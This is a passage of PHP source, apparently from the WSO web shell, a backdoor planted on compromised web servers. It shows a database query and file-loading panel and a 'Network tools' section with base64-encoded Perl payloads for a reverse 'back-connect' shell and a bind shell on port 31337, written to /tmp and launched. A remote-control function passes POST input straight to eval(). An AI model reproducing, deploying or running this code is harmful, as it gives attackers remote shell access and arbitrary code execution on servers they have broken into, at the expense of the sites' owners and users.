1335 foreach($item as $key => $value)
1336 echo '<th>'.$key.'</th>';
1337 reset($item);
1338 $title=true;
1339 echo '</tr><tr>';
1340 $line = 2;
1341 }
1342 echo '<tr class="l'.$line.'">';
1343 $line = $line==1?2:1;
1344 foreach($item as $key => $value) {
1345 if($value == null)
1346 echo '<td><i>null</i></td>';
1347 else
1348 echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
1349 }
1350 echo '</tr>';
1351 }
1352 echo '</table>';
1353 } else {
1354 echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
1355 }
1356 }
1357 echo "<br><textarea name='p3' style='width:100%;height:100px'>".@htmlspecialchars($_POST['p3'])."</textarea><br/><input type=submit value='Execute'>";
1358 echo "</td></tr>";
1359 }
1360 echo "</table></form><br/><form onsubmit='document.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
1361 if(@$_POST['p1'] == 'loadfile') {
1362 $file = $db->loadFile($_POST['p2']);
1363 echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
1364 }
1365 }
1366 echo '</div>';
1367 wsoFooter();
1368}
1369function actionNetwork() {
1370 wsoHeader();
1371 $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
1372 $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
1373 echo "<h1>Network tools</h1><div class=content>
1374 <form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
1375 <span>Bind port to /bin/sh [perl]</span><br/>
1376 Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
1377 </form>
1378 <form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
1379 <span>Back-connect [perl]</span><br/>
1380 Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
1381 </form><br>";
1382 if(isset($_POST['p1'])) {
1383 function cf($f,$t) {
1384 $w=@fopen($f,"w") or @function_exists('file_put_contents');
1385 if($w) {
1386 @fwrite($w,@base64_decode($t));
1387 @fclose($w);
1388 }
1389 }
1390 if($_POST['p1'] == 'bpp') {
1391 cf("/tmp/bp.pl",$bind_port_p);
1392 $out = wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");
1393 echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bp.pl")."</pre>";
1394 }
1395 if($_POST['p1'] == 'bcp') {
1396 cf("/tmp/bc.pl",$back_connect_p);
1397 $out = wsoEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
1398 echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bc.pl")."</pre>";
1399 }
1400 }
1401 echo '</div>';
1402 wsoFooter();
1403}
1404function actionRC() {
1405 if(!@$_POST['p1']) {
1406 $a = array(
1407 "uname" => php_uname(),
1408 "php_version" => phpversion(),
1409 "wso_version" => VERSION,
1410 "safemode" => @ini_get('safe_mode')
1411 );
1412 echo serialize($a);
1413 } else {
1414 eval($_POST['p1']);
1415 }
1416}
1417if( empty($_POST['a']) )
1418 if(isset($default_action) && function_exists('action' . $default_action))
1419 $_POST['a'] = $default_action;
1420 else
1421 $_POST['a'] = 'SecInfo';
1422if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
1423 call_user_func('action' . $_POST['a']);
1424exit;